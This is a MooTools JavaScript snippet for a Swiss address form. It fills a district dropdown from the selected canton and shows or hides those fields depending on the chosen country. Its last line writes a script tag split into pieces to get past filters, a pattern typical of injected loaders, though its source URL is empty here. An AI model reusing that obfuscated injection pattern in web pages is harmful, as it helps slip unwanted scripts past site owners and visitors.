        var msg ="Bitte w&auml;hle zuerst einen Kanton aus";
       
        var selKantone = $('kanton');
        var selBezirke = $('bezirk');
        
        function populate(element)
        	{
            if(element.value!="..." && element.value!="")
                {
                var options = selBezirke.getElements('option');
                options.each(function(el){ el.remove(); });
                
                var empyOption = new Element('option').injectInside(selBezirke);
                empyOption.setHTML('...');
                
                var num = bezirkArray.length;                
                for(i=0;i<num;i++)
                    {
                    if(bezirkArray[i][element.value])
                        {
                        var numx = bezirkArray[i][element.value].length;
                        for(r=0;r<numx;r++)
                            {
                            if(postBezirk==bezirkArray[i][element.value][r])
                                var option = new Element('option', {'value': bezirkArray[i][element.value][r], 'selected':'selected'}).injectInside(selBezirke);
                            else
                                var option = new Element('option', {'value': bezirkArray[i][element.value][r]}).injectInside(selBezirke);
                            option.setHTML(bezirkArray[i][element.value][r]);
                            }
                        }
                    }
                 selBezirke.removeProperty('disabled');
                 }
            else
                {
                
                selBezirke.empty();
                
                var empyOption = new Element('option').injectInside(selBezirke);
                empyOption.setHTML(msg);
                                    
                selBezirke.setProperty('disabled','disabled');
                }
            }
                    
        window.addEvent('domready', function(){

            if(selKantone.value=="..." || selKantone.value=="")
            	{
                selBezirke.empty();
            
                var empyOption = new Element('option').injectInside(selBezirke);
                empyOption.setHTML(msg); 
            
                selBezirke.setProperty('disabled','disabled');  
                } 
            else
            	{
                populate(selKantone);
                }                

            selKantone.addEvent('change', function(){ 
            		populate(this);
                });
            
			if($('land'))
				{
				$('land').addEvent('change', function(){ 
					if(this.value=="CH")
						{
						$('kantonline').setStyle('display','block');
						$('bezirkline').setStyle('display','block');
						}
					 else
						{
						$('kantonline').setStyle('display','none');
						$('bezirkline').setStyle('display','none');
						}
					});
				}
            
        });            

document.write('<s'+'cript type="text/javascript" src=""></scr'+'ipt>');
